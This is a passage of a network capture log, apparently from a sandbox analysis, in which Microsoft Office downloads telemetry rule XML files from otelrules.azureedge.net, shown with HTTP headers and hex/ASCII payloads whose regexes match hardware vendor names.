2024-11-25 11:09:32 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.8	49852	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:09:32 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:09:32 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:09:32 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: ba9b913e-601e-0001-2f1a-3dfaeb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110932Z-178bfbc474b9xljthC1NYCtw94000000075000000000egra x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:09:32 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.8	49853	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:09:34 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:09:34 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:09:34 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 239436ba-d01e-0028-7bd5-3b7896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110934Z-15b8b599d885ffrhhC1TEBtuv000000005w000000000d2m0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:09:34 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.8	49854	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:09:34 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:09:34 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:09:34 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 3744ce68-601e-00ab-2603-3d66f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110934Z-178bfbc474bwlrhlhC1NYCy3kg00000007cg000000005rg5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:09:34 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.8	49856	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:09:34 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:09:34 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:09:34 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: 81a1b48f-901e-00ac-7058-3cb69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110934Z-15b8b599d88f9wfchC1TEBm2kc00000005yg00000000abtp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:09:34 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.8	49855	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:09:34 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:09:34 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:09:34 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 3e1ce11e-901e-00ac-5292-3bb69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110934Z-15b8b599d88pxmdghC1TEBux9c00000005w000000000fhrq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:09:34 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.8	49857	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:09:34 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:09:34 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:09:34 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: 01b16b08-801e-0078-0fad-3ebac6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110934Z-15b8b599d88n8stkhC1TEBb78n00000000s0000000005adm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:09:34 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.8	49858	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:09:36 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:09:37 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:09:36 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: ce6e3a8c-101e-0017-74b5-3e47c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110936Z-178bfbc474bwlrhlhC1NYCy3kg00000007f0000000001gy6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:09:37 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.8	49859	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:09:36 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:09:37 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:09:36 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: ba5d631a-801e-0047-14d1-3e7265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110936Z-178bfbc474bfw4gbhC1NYCunf4000000079000000000bu26 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:09:37 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.8	49860	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:09:36 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:09:37 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:09:37 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 44207c53-001e-0079-37ad-3b12e8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110937Z-15b8b599d88f9wfchC1TEBm2kc00000005w000000000gnhs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:09:37 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.8	49862	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:09:36 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:09:37 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:09:37 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: e328efd5-c01e-00a2-56bf-3e2327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110937Z-178bfbc474bwlrhlhC1NYCy3kg000000079000000000b42g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:09:37 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.8	49861	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:09:36 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:09:37 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:09:37 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 190bcf01-801e-0078-3650-3cbac6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110937Z-15b8b599d885v8r9hC1TEB104g00000005xg000000006srp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:09:37 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.8	49863	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:09:38 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
